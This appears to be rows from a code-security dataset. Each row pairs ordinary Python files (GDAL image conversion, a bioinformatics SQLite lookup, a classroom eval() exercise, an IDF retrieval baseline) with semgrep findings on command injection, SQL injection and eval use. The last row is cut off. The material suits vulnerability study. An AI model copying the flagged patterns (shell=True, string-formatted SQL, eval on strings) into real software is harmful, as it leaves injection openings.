gdal_transalte options_dict = {'gtiff': {'-of': 'GTiff', '-co': 'COMPRESS=LZW', '-mo': ['parent_data_file="%s"' % os.path.basename(src_file)], '-outsize': resize_factor, '-ot': 'Byte'}, 'jpeg': {'-of': 'jpeg', '-co': 'QUALITY=95', '-mo': ['parent_data_file="%s"' % os.path.basename(src_file)], '-outsize': resize_factor}} options = options_dict[output_format] if scale: options = _add_scale_option(options, stretch=stretch, src_nodata=src_nodata) # call gdal_translate to resize input file successful, output = call_gdal_util('gdal_translate', src_files=src_file, dst_file=dst_file, gdal_path=gdal_path, options=options) if (output_format == 'gtiff') and (ct is not None): # Update quick look image, attach color table this does not so easily # work with JPEG so we keep the colortable of the original file ds = gdal.Open(dst_file, GA_Update) # set the new color table if ds.RasterCount == 1: ds.GetRasterBand(1).SetRasterColorTable(ct) return successful, output if __name__ == '__main__': pass
364
34.68
120
21
3,164
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_1843832307c159cc_4afb6b73", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 197, "line_end": 197, "column_start": 14, "column_end": 79, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/1843832307c159cc.py", "start": {"line": 197, "col": 14, "offset": 6394}, "end": {"line": 197, "col": 79, "offset": 6459}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-list-passed-as-string_1843832307c159cc_21532413", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-list-passed-as-string", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected `\" \".join(...)` being passed to `subprocess.run`. This can lead to argument splitting issues and potential security vulnerabilities. Instead, pass the list directly to `subprocess.run` to preserve argument separation.", "remediation": "", "location": {"file_path": "unknown", "line_start": 197, "line_end": 197, "column_start": 38, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "C", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://docs.python.org/3/library/subprocess.html#frequently-used-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-list-passed-as-string", "path": "/tmp/tmp10dxl77l/1843832307c159cc.py", "start": {"line": 197, "col": 38, "offset": 6418}, "end": {"line": 197, "col": 51, "offset": 6431}, "extra": {"message": "Detected `\" \".join(...)` being passed to `subprocess.run`. This can lead to argument splitting issues and potential security vulnerabilities. Instead, pass the list directly to `subprocess.run` to preserve argument separation.", "metadata": {"category": "security", "cwe": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "references": ["https://docs.python.org/3/library/subprocess.html#frequently-used-arguments"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "technology": ["python"], "confidence": "LOW", "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_1843832307c159cc_fc8bd3b9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 197, "line_end": 197, "column_start": 59, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/1843832307c159cc.py", "start": {"line": 197, "col": 59, "offset": 6439}, "end": {"line": 197, "col": 63, "offset": 6443}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 197, 197 ]
[ 197, 197 ]
[ 14, 59 ]
[ 79, 63 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess'...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
gdalport.py
/src/veranda/raster/gdalport.py
TUW-GEO/veranda
MIT
2024-11-18T21:22:30.198329+00:00
1,519,368,509,000
abca4da860ad101f0a95c3327c8831edc861b0dc
3
{ "blob_id": "abca4da860ad101f0a95c3327c8831edc861b0dc", "branch_name": "refs/heads/master", "committer_date": 1519368509000, "content_id": "030b3a385ab778da3deb9b250435aebb3376049a", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "a74b246da458b8ba31d8ab6b553d4b7b2a0cf556", "extension": "py", "filename": "_util.py", "fork_events_count": 1, "gha_created_at": 1444443207000, "gha_event_created_at": 1500666824000, "gha_language": "Python", "gha_license_id": null, "github_id": 43989569, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2371, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/micronota/database/_util.py", "provenance": "stack-edu-0054.json.gz:588042", "repo_name": "RNAer/micronota", "revision_date": 1519368509000, "revision_id": "d101454f3ee0a3932e9b927cd08a86d9025dbeda", "snapshot_id": "8ffa40caac2f26948a12da01479bb82e9a05be28", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/RNAer/micronota/d101454f3ee0a3932e9b927cd08a86d9025dbeda/micronota/database/_util.py", "visit_date": "2021-01-18T16:43:23.111048" }
2.625
stackv2
# ---------------------------------------------------------------------------- # Copyright (c) 2015--, micronota development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. # ---------------------------------------------------------------------------- def query(c, db, accn): '''Query with accession number of a reference db. Parameters ---------- c : ``sqlite3.Connection`` connection to the db that has the entry metadata db : str reference db name (eg uniprot, tigrfam, kegg, etc) accn : str the accession number in the ref db Returns ------- dict The cross-ref IDs to other db and product of the accession. ''' info = {} tables = {i[0] for i in c.execute( "SELECT name FROM sqlite_master WHERE type='table'")} tables.discard(db) db1 = db + '_' db2 = '_' + db for table in tables: # find all the junction tables that is linked to the ref table if db1 in table: other = table.replace(db1, '') elif db2 in table: other = table.replace(db2, '') else: continue query_xref = '''SELECT {1}.accn, t.name FROM {1} INNER JOIN {2} j ON j.{1}_id = {1}.id INNER JOIN {0} t ON j.{0}_id = t.id WHERE t.accn = ?;'''.format(db, other, table) # 'K9NBS6' res = [i for i in c.execute(query_xref, (accn,))] if res: if 'product' not in info: name = [i[1] for i in res] info['product'] = name[0] info[other] = [i[0] for i in res] return info def format_xref(d): '''format the metadata Parameters ---------- d : dict metadata for a gene obtained from ``query`` function Returns ------- dict the formatted metadata convenient for output ''' refs = ('TIGRFAM', 'eggNOG', 'KEGG', 'Pfam') # GO id already in the form of "GO:1290834". only need to add to xref xref = d.pop('GO', []) # For other ref dbs, ref db name need to prefix their IDs for ref in refs: xref.extend(['{0}:{1}'.format(ref, i) for i in d.pop(ref, [])]) if xref: d['db_xref'] = xref return d
76
30.2
78
14
605
python
[{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_904ad0b99d1bba09_01271aae", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 27, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/904ad0b99d1bba09.py", "start": {"line": 46, "col": 27, "offset": 1530}, "end": {"line": 46, "col": 57, "offset": 1560}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 46 ]
[ 46 ]
[ 27 ]
[ 57 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
_util.py
/micronota/database/_util.py
RNAer/micronota
BSD-3-Clause
2024-11-18T21:22:30.656167+00:00
1,604,653,516,000
7611dae3167e7e36288d4aee2e4d56342b1f2d2d
4
{ "blob_id": "7611dae3167e7e36288d4aee2e4d56342b1f2d2d", "branch_name": "refs/heads/master", "committer_date": 1604653516000, "content_id": "9ecdbcedde8cacdb62e90ef9995edb567e510b66", "detected_licenses": [ "MIT" ], "directory_id": "472578974401c83509d81ea4d832fc3fd821f295", "extension": "py", "filename": "exercise03.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 298263579, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 845, "license": "MIT", "license_type": "permissive", "path": "/python资料/day8.15/day12/exercise03.py", "provenance": "stack-edu-0054.json.gz:588048", "repo_name": "why1679158278/python-stu", "revision_date": 1604653516000, "revision_id": "0d95451f17e1d583d460b3698047dbe1a6910703", "snapshot_id": "f038ec89e9c3c7cc80dc0ff83b76e7c3078e279e", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/why1679158278/python-stu/0d95451f17e1d583d460b3698047dbe1a6910703/python资料/day8.15/day12/exercise03.py", "visit_date": "2023-01-05T04:34:56.128363" }
3.6875
stackv2
""" day10/exercise01 day10/exercise03 直接打印商品对象: xx的编号是xx,单价是xx 直接打印敌人对象: xx的攻击力是xx,血量是xx 拷贝两个对象,修改拷贝前数据,打印拷贝后数据. 体会拷贝的价值. """ class Commodity: def __init__(self, cid=0, name="", price=0): self.cid = cid self.name = name self.price = price def __str__(self): return "%s的编号是%d,单价是%d" % (self.name, self.cid, self.price) def __repr__(self): return "Commodity(%d, '%s', %d)" % (self.cid, self.name, self.price) class Enemy: def __init__(self, name="", atk=0, hp=0): self.name = name self.atk = atk self.hp = hp bxjg = Commodity(1001, "变形金刚", 300) print(bxjg) bxjg2 = eval(bxjg.__repr__()) print(bxjg2)
31
21.81
76
10
275
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_2ff69f03d2e47b3d_1afc61ee", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/2ff69f03d2e47b3d.py", "start": {"line": 30, "col": 9, "offset": 810}, "end": {"line": 30, "col": 30, "offset": 831}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 30 ]
[ 30 ]
[ 9 ]
[ 30 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
exercise03.py
/python资料/day8.15/day12/exercise03.py
why1679158278/python-stu
MIT
2024-11-18T21:22:34.741718+00:00
1,550,903,620,000
1ca0e14920a6924ad7077d2e05406a9e108d2dd3
3
{ "blob_id": "1ca0e14920a6924ad7077d2e05406a9e108d2dd3", "branch_name": "refs/heads/master", "committer_date": 1550903620000, "content_id": "ce9653656f9ccaaf60e07437852a50971a1b7888", "detected_licenses": [ "Apache-2.0" ], "directory_id": "3da9a5717b9fab578b9e6cf1e5836e1d90d5fccb", "extension": "py", "filename": "qa-data-only-idf.py", "fork_events_count": 1, "gha_created_at": 1550903560000, "gha_event_created_at": 1550903562000, "gha_language": null, "gha_license_id": "Apache-2.0", "github_id": 172180433, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7748, "license": "Apache-2.0", "license_type": "permissive", "path": "/idf_baseline/qa-data-only-idf.py", "provenance": "stack-edu-0054.json.gz:588058", "repo_name": "wassname/Castor", "revision_date": 1550903620000, "revision_id": "90477f227484390030fd9c17214714b61f6cd4b3", "snapshot_id": "a5cb6d44018f5758b394ba761b9ed2fb5d541145", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/wassname/Castor/90477f227484390030fd9c17214714b61f6cd4b3/idf_baseline/qa-data-only-idf.py", "visit_date": "2020-04-24T18:28:03.744275" }
2.578125
stackv2
import argparse import os import sys import re import numpy as np from collections import defaultdict import string import subprocess import shlex import nltk nltk.download('stopwords', quiet=True) from nltk.stem.porter import PorterStemmer from nltk.corpus import stopwords def read_in_data(datapath, set_name, file, stop_and_stem=False, stop_punct=False, dash_split=False): data = [] with open(os.path.join(datapath, set_name, file)) as inf: data = [line.strip() for line in inf.readlines()] if dash_split: def split_hyphenated_words(sentence): rtokens = [] for term in sentence.split(): for t in term.split('-'): if t: rtokens.append(t) return ' '.join(rtokens) data = [split_hyphenated_words(sentence) for sentence in data] if stop_punct: regex = re.compile('[{}]'.format(re.escape(string.punctuation))) def remove_punctuation(sentence): rtokens = [] for term in sentence.split(): for t in regex.sub(' ', term).strip().split(): if t: rtokens.append(t) return ' '.join(rtokens) data = [remove_punctuation(sentence) for sentence in data] if stop_and_stem: stemmer = PorterStemmer() stoplist = set(stopwords.words('english')) def stop_stem(sentence): return ' '.join([stemmer.stem(word) for word in sentence.split() \ if word not in stoplist]) data = [stop_stem(sentence) for sentence in data] return data def compute_idfs(data, dash_split=False): term_idfs = defaultdict(float) for doc in list(data): for term in list(set(doc.split())): if dash_split: assert('-' not in term) term_idfs[term] += 1.0 N = len(data) for term, n_t in term_idfs.items(): term_idfs[term] = np.log(N/(1+n_t)) return term_idfs def fetch_idfs_from_index(data, dash_split, indexPath): regex = re.compile('[{}]'.format(re.escape(string.punctuation))) term_idfs = defaultdict(float) all_terms = set([term for doc in list(data) for term in doc.split()]) with open('dataset.vocab', 'w') as vf: for term in list(all_terms): if dash_split: assert('-' not in term) print(term, file=vf) fetchIDF_cmd = \ "sh ../idf_baseline/target/appassembler/bin/FetchTermIDF -index {} -vocabFile {}".\ format(indexPath, 'dataset.vocab') pargs = shlex.split(fetchIDF_cmd) p = subprocess.Popen(pargs, stdout=subprocess.PIPE, stderr=subprocess.PIPE, \ bufsize=1, universal_newlines=True) pout, perr = p.communicate() lines = str(pout).split('\n') for line in lines: if not line: continue fields = line.strip().split("\t") term, weight = fields[0], fields[-1] term_idfs[term] = float(weight) for line in str(perr).split('\n'): print('Warning: '+line) return term_idfs def compute_idf_sum_similarity(questions, answers, term_idfs): # compute IDF sums for common_terms idf_sum_similarity = np.zeros(len(questions)) for i in range(len(questions)): q = questions[i] a = answers[i] q_terms = set(q.split()) a_terms = set(a.split()) common_terms = q_terms.intersection(a_terms) idf_sum_similarity[i] = np.sum([term_idfs[term] for term in list(common_terms)]) return idf_sum_similarity def write_out_idf_sum_similarities(qids, questions, answers, term_idfs, outfile, dataset): with open(outfile, 'w') as outf: idf_sum_similarity = compute_idf_sum_similarity(questions, answers, term_idfs) old_qid = 0 docid_c = 0 for i in range(len(questions)): if qids[i] != old_qid and dataset.endswith('WikiQA'): docid_c = 0 old_qid = qids[i] print('{} 0 {} 0 {} idfbaseline'.format(qids[i], docid_c, idf_sum_similarity[i]), file=outf) docid_c += 1 if __name__ == "__main__": ap = argparse.ArgumentParser(description="uses idf weights from the question-answer pairs only,\ and not from the whole corpus") ap.add_argument('qa_data', help="path to the QA dataset", choices=['../../Castor-data/TrecQA', '../../Castor-data/WikiQA']) ap.add_argument('outfile_prefix', help="output file prefix") ap.add_argument('--ignore-test', help="does not consider test data when computing IDF of terms", action="store_true") ap.add_argument("--stop-and-stem", help='performs stopping and stemming', action="store_true") ap.add_argument("--stop-punct", help='removes punctuation', action="store_true") ap.add_argument("--dash-split", help="split words containing hyphens", action="store_true") ap.add_argument("--index-for-corpusIDF", help="fetches idf from Index. provide index path. will\ generate a vocabFile") args = ap.parse_args() # read in the data train_data, dev_data, test_data = 'train', 'dev', 'test' if args.qa_data.endswith('TrecQA'): train_data, dev_data, test_data = 'train-all', 'raw-dev', 'raw-test' train_que = read_in_data(args.qa_data, train_data, 'a.toks', args.stop_and_stem, args.stop_punct, args.dash_split) train_ans = read_in_data(args.qa_data, train_data, 'b.toks', args.stop_and_stem, args.stop_punct, args.dash_split) dev_que = read_in_data(args.qa_data, dev_data, 'a.toks', args.stop_and_stem, args.stop_punct, args.dash_split) dev_ans = read_in_data(args.qa_data, dev_data, 'b.toks', args.stop_and_stem, args.stop_punct, args.dash_split) test_que = read_in_data(args.qa_data, test_data, 'a.toks', args.stop_and_stem, args.stop_punct, args.dash_split) test_ans = read_in_data(args.qa_data, test_data, 'b.toks', args.stop_and_stem, args.stop_punct, args.dash_split) all_data = train_que + dev_que + train_ans + dev_ans if not args.ignore_test: all_data += test_ans all_data += test_que # compute inverse document frequencies for terms if not args.index_for_corpusIDF: term_idfs = compute_idfs(set(all_data), args.dash_split) else: term_idfs = fetch_idfs_from_index(set(all_data), args.dash_split, args.index_for_corpusIDF) # write out in trec_eval format write_out_idf_sum_similarities(read_in_data(args.qa_data, train_data, 'id.txt'), train_que, train_ans, term_idfs, '{}.{}.idfsim'.format(args.outfile_prefix, train_data), args.qa_data) write_out_idf_sum_similarities(read_in_data(args.qa_data, dev_data, 'id.txt'), dev_que, dev_ans, term_idfs, '{}.{}.idfsim'.format(args.outfile_prefix, dev_data), args.qa_data) write_out_idf_sum_similarities(read_in_data(args.qa_data, test_data, 'id.txt'), test_que, test_ans, term_idfs, '{}.{}.idfsim'.format(args.outfile_prefix, test_data), args.qa_data)
187
40.43
100
20
1,786
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_834b2c405d5f0dd4_9d9682a7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 10, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/834b2c405d5f0dd4.py", "start": {"line": 19, "col": 10, "offset": 402}, "end": {"line": 19, "col": 54, "offset": 446}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_834b2c405d5f0dd4_53eef7af", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 69, "column_start": 10, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/834b2c405d5f0dd4.py", "start": {"line": 69, "col": 10, "offset": 2400}, "end": {"line": 69, "col": 36, "offset": 2426}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_834b2c405d5f0dd4_64247296", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 79, "line_end": 80, "column_start": 9, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/834b2c405d5f0dd4.py", "start": {"line": 79, "col": 9, "offset": 2778}, "end": {"line": 80, "col": 65, "offset": 2916}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", 